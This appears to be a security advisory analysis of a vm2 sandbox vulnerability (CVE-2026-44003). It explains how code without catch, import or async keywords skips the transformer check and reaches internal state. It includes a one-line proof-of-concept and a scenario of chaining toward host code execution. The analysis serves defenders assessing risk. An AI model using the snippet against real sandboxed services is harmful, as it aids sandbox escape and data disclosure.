vm2 CVE-2026-44003

The vulnerability is exploitable without special conditions on default vm2 configurations. The ONLY prerequisite is that the attacker can control code passed to vm.run() or vm2.NodeVM.run(). Exploitation does NOT require: (1) any specific vm2 configuration options, (2) sandbox escaping to host filesystem, (3) network access, (4) user interaction, or (5) elevated privileges. The attack is blocked ONLY if: (1) the executing code contains one or more of the keywords catch, import, or async (either in a functional context or as a string literal), (2) the code explicitly includes the full identifier VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL in a context that triggers the transformer's INTERNAL_STATE_NAME check (in patched versions), or (3) vm2 version 3.11.0 or later is deployed. Code samples avoiding all three keywords (e.g., var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; or arrow functions without try-catch) are trivially exploitable against versions <= 3.10.5.

The CVSS 5.3 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) accurately reflects a network-accessible information disclosure with no interaction required, but understates the real risk. While the immediate impact is limited to reading internal state (C:L - confidentiality loss), the vulnerability is a complete bypass of vm2's core security architecture. The release notes for v3.11.0 explicitly state this advisibility (GHSA-wp5r-2gw5-m7q7) also closes an RCE vector via transformer fast-path bypass, indicating that under certain conditions (possibly combined with other gadgets), this disclosure chains to code execution. The public proof-of-concept demonstrates trivial exploitation: any code without catch/import/async keywords can access forbidden state, and the control test confirms that adding a single catch keyword re-enables the security check. EPSS data is not provided, but the combination of zero exploitation complexity (AC:L), no authentication (PR:N), and a vendor-released patch strongly suggests this will see targeted exploitation by sophisticated attackers. The real-world risk is HIGH because: (1) the vulnerability is trivial to exploit, (2) internal functions are immediately accessible, (3) the release notes reference 13 coordinated security fixes including RCE primitives, and (4) this is one component of a broader sandbox-escape attack surface. Organizations running untrusted code in vm2 must treat this as a critical priority, not a moderate issue. No conflicting signals detected - CVSS, vendor advisory, and POC all align.

An attacker running code inside a vm2 sandbox (for example, in a code-review tool, live-coding platform, or serverless function runtime) crafts a simple script lacking catch, import, and async keywords: var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x). The transformer fast-path is taken, AST analysis is skipped, and the code executes unmodified. The attacker gains direct access to the internal state object and can enumerate its methods (handleException, wrapWith, import). A sophisticated attacker can then combine this information leak with other gadgets (as hinted by the v3.11.0 release notes mentioning 13 coordinated RCE fixes) to escape the sandbox and execute arbitrary code on the host process. The public POC demonstrates the attack takes less than 50 bytes of code.